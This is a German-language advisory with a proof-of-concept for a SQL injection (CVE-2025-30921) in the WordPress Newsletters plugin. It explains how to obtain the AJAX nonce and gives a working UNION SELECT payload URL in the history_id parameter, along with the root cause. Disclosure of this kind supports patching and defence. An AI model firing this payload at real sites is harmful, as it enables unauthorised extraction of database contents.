CVE-2025-30921

1️⃣ Komponententyp

WordPress-Plugin

2️⃣ Komponentendetails

Komponentenname Newsletters

Verwundbare Version <= 4.9.9.7

Komponenten-Slug newsletters-lite

Komponenten-Link https://wordpress.org/plugins/newsletters-lite/

3️⃣ OWASP 2017: TOP 10

Schwachstellenklasse A3: Injection

Schwachstellenart SQL-Injection

4️⃣ Voraussetzung

Administrator

5️⃣ Schwachstellendetails

👉 Kurzbeschreibung

Beim Anzeigen der Statistik-Übersichtsgrafik im Plugin-Dashboard (/wp-admin/admin.php?page=newsletters) des Newsletters-Plugins in Version 4.9.9.7 oder niedriger kommt es aufgrund unzureichender Eingabevalidierung und unzureichender Escape-Verarbeitung von URL-Parametern zu einer SQL-Injection-Schwachstelle.

Durch diese Schwachstelle kann ein Angreifer mit Administratorrechten Datenbankinformationen der Zielwebsite extrahieren.

👉 So reproduzieren Sie (PoC)

1. Bereiten Sie eine WordPress-Website mit dem Newsletters-Plugin in Version 4.9.9.7 oder niedriger vor.

2. Navigieren Sie zum Dashboard-Menü des Newsletters-Plugins (/wp-admin/admin.php?page=newsletters).

   

3. Suchen Sie mithilfe der Browser-Entwicklertools im Tab 'Elements' nach action=wpmlwelcomestats&security= und prüfen Sie den Wert von security. Wenn das Suchergebnis beispielsweise wie unten gezeigt aussieht, notieren Sie sich 22b1ac0de6.

   root@kitploit:~

   // ...
   
   jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
   
   // ...
   

   

4. Geben Sie den notierten security-Wert in den Abschnitt <SECURITY VALUE> des folgenden URL-Pfads ein und senden Sie eine Anfrage an diese URL.

   root@kitploit:~

   http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
   

👉 Zusätzliche Informationen (optional)

[Grundursache der Schwachstelle]

Beim Anfordern der URL, bei der die SQL-Injection-Schwachstelle aus dem obigen PoC auftritt, wird die Funktion ajax_welcomestats innerhalb der Datei /wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php aufgerufen.

An diesem Punkt wird der Anforderungsparameter history_id direkt als Bedingungsklausel in der SQL-Abfragezeichenfolge referenziert und als Variable $history_condition initialisiert. Diese Variable wird ohne jegliche Escape-Verarbeitung an die Datenbankabfrage übergeben.

Da es daher keine Validierung oder Escape-Verarbeitung für Werte gibt, die im URL-Parameter history_id eingegeben werden, kommt es zu einer SQL-Injection-Schwachstelle. (Beachten Sie, dass auch die URL-Parameter from und to aufgrund unzureichender Eingabevalidierung und Escape-Verarbeitung anfällig für SQL-Injection-Angriffe sind.)

6️⃣ Exploit-Demo

7️⃣ Referenzen

• https://nvd.nist.gov/vuln/detail/CVE-2025-30921